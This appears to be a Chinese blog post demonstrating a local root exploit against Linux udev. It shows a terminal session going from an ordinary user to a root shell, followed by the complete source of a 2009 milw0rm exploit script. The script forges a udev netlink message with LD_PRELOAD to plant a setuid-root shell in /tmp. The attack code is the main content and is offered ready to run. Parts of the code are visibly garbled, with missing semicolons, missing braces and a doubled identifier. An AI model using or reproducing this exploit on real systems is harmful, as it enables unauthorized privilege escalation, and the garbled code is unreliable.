几个简单操作即可由普通用户提升至root了
[test@sbear-cn test]$ id
uid=500(test) gid=500(test) groups=500(test)
[test@sbear-cn test]$ ps -ef|grep udev
root       502     1  0 13:04 ?        00:00:00 /sbin/udevd -d    //查看目前udevd服务的id号
test     2635  2564  0 13:07 pts/0    00:00:00 grep udev
[test@sbear-cn test]$ sh test.sh 501   //udevd的id号减1,即502-1 = 501
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.2# id
uid=0(root) gid=0(root) groups=500(test)  //获取到root权限了
sh-3.2# ls /root/
anaconda-ks.cfg 
sh-3.2#
赶紧升级你的udev吧!

附test.sh的源码
 
  
  1. #!/bin/sh 
  2. # Linux 2.6 
  3. # bug found by Sebastian Krahmer 
  4. # lame sploit using LD technique  
  5. # by kcope in 2009 
  6. # tested on debian-etch,ubuntu,gentoo 
  7. # do a 'cat /proc/net/netlink' 
  8. # and set the first arg to this 
  9. # script to the pid of the netlink socket 
  10. # (the pid is udevd_pid - 1 most of the time) 
  11. # + sploit has to be UNIX formatted text :) 
  12. # + if it doesn't work the 1st time try more often 
  13. # WARNING: maybe needs some FIXUP to work flawlessly 
  14. ## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang 
  15.   
  16. cat > udev.c << _EOF 
  17. #include <fcntl.h> 
  18. #include <stdio.h> 
  19. #include <string.h> 
  20. #include <stdlib.h> 
  21. #include <unistd.h> 
  22. #include <dirent.h> 
  23. #include <sys/stat.h> 
  24. #include <sysexits.h> 
  25. #include <wait.h> 
  26. #include <signal.h> 
  27. #include <sys/socket.h> 
  28. #include <linux/types.h> 
  29. #include <linux/netlink.h> 
  30.   
  31. #ifndef NETLINK_KOBJECT_UEVENT 
  32. #define NETLINK_KOBJECT_UEVENT 15 
  33. #endif 
  34.   
  35. #define SHORT_STRING 64 
  36. #define MEDIUM_STRING 128 
  37. #define BIG_STRING 256 
  38. #define LONG_STRING 1024 
  39. #define EXTRALONG_STRING 4096 
  40. #define TRUE 1 
  41. #define FALSE 0 
  42.   
  43. int socket_fd; 
  44. struct sockaddr_nl address; 
  45. struct msghdr msg; 
  46. struct iovec iovector; 
  47. int sz = 64*1024; 
  48.   
  49. main(int argc, char **argv) { 
  50.         char sysfspath[SHORT_STRING]; 
  51.         char subsystem[SHORT_STRING]; 
  52.         char event[SHORT_STRING]; 
  53.         char major[SHORT_STRING]; 
  54.         char minor[SHORT_STRING]; 
  55.   
  56.         sprintf(event, "add"); 
  57.         sprintf(subsystem, "block"); 
  58.         sprintf(sysfspath, "/dev/foo"); 
  59.         sprintf(major, "8"); 
  60.         sprintf(minor, "1"); 
  61.   
  62.         memset(&address, 0, sizeof(address)); 
  63.         address.nl_family = AF_NETLINK
  64.         address.nl_pid = atoi(argv[1]); 
  65.         address.nl_groups = 0
  66.   
  67.         msg.msg_name = (void*)&address; 
  68.         msg.msg_namelen = sizeof(address); 
  69.         msg.msg_iov = &iovector; 
  70.         msg.msg_iovlen = 1
  71.   
  72.         socketsocket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); 
  73.         bind(socket_fd, (struct sockaddr *) &address, sizeof(address)); 
  74.   
  75.         char message[LONG_STRING]; 
  76.         char *mp; 
  77.   
  78.         mp = message
  79.         mp += sprintf(mp, "%s@%s", event, sysfspath) +1; 
  80.         mp += sprintf(mp, "ACTION=%s", event) +1; 
  81.         mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1; 
  82.         mp += sprintf(mp, "MAJOR=%s", major) +1; 
  83.         mp += sprintf(mp, "MINOR=%s", minor) +1; 
  84.         mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1; 
  85.         mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1; 
  86.   
  87.         iovector.iov_base = (void*)message; 
  88.         iovector.iov_len = (int)(mp-message); 
  89.   
  90.         char *buf; 
  91.         int buflen; 
  92.         buf = (char *) &msg; 
  93.         buflen = (int)(mp-message); 
  94.   
  95.         sendmsg(socket_fd, &msg, 0); 
  96.   
  97.         close(socket_fd); 
  98.   
  99.     sleep(10); 
  100. //  execl("/tmp/suid", "suid", (void*)0); 
  101.   
  102. _EOF 
  103. gcc udev.c -o /tmp/udev 
  104. cat > program.c << _EOF 
  105. #include <unistd.h> 
  106. #include <stdio.h> 
  107. #include <sys/types.h> 
  108. #include <stdlib.h> 
  109. #include <sys/stat.h> 
  110.   
  111.   
  112. void _init() 
  113.  setgid(0); 
  114.  setuid(0); 
  115.  unsetenv("LD_PRELOAD"); 
  116. // execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL); 
  117. chown("/tmp/suid",0,0); 
  118. chmod("/tmp/suid",S_IRUSR|S_IWUSR|S_ISUID|S_IXUSR|S_IROTH|S_IXOTH); 
  119.   
  120. _EOF 
  121. gcc -o program.o -c program.c -fPIC 
  122. gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles 
  123. cat > suid.c << _EOF 
  124. int main(void) { 
  125.        setgid(0); setuid(0); 
  126.        execl("/bin/sh","sh",0); } 
  127. _EOF 
  128. gcc -o /tmp/suid suid.c 
  129. cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 
  130. /tmp/udev $1 
  131.   
  132. # milw0rm.com [2009-04-20] 
  133.   
  134. /tmp/suid